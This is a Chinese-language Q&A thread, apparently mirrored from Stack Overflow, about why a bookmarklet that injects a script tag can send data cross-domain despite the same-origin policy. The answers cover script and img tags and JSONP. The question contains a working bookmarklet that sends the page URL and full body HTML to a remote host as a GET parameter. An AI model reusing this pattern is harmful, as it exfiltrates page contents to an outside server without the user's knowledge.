代码之家  ›  专栏  ›  技术社区  ›  Incognito

$.post()作为bookmarklet XSS

  •  0
  • Incognito  · 技术社区  · 14 年前

    javascript:var%20s=document.createElement('script');var data=encodeURI(location.href)+encodeURI('\n\n')+(encodeURI(document.getElementsByTagName('body')[0].innerHTML));s.setAttribute('src','http://example.com/remote.php?id=68&act=new&data='+data);document.getElementsByTagName('body')[0].appendChild(s);void(s);

    它发出并请求一个页面,甚至可以提供GET变量输入。

    但是,由于同源策略的原因,我无法通过jQuery之类的工具使用ajax发布/获取XHR。。。为什么?这是浏览器问题还是标准的一部分?

    . 注2:我的问题是为什么这不违反政策?

    4 回复  |  直到 14 年前
        1
  •  3
  •   SLaks    14 年前

    不同之处在于,您不能(直接)读取成为 <script> 元素。

    如果URL恰好返回定义有用函数的Javascript,则可以使用它。
    如果它包含任何其他内容(如JSON或XML数据),则无法读取响应。

    <img>

        2
  •  1
  •   cgp    14 年前

    这个bookmarklet没有违反 same origin policy . 只有XHTTP请求受此策略限制,并且此bookmarklet正在向页中添加脚本元素。

    尽管任何脚本都可以通过DOM构造脚本或img请求来跨域有效地执行GET请求,但除非正确地形成返回的响应,否则它将无法从该资源中提取任何数据。一个恰当的回应实际上是 cross-domain ajax .

        3
  •  1
  •   aularon    14 年前

    javascript的同源策略不允许来自不同域的页面进行通信、访问其他对象(无论是读还是写),也不允许xmlhttprequests(ajax调用)从其他服务器请求数据。

    但是,它与允许在其他服务器上引用脚本无关。正如@SLaks所说,您可以添加 <script> 从另一个服务器添加标签 <img>

        4
  •  0
  •   aularon    14 年前

    same origin policy .

    其实这是已知的解决方法,做这种跨服务器通信,看看 jsonp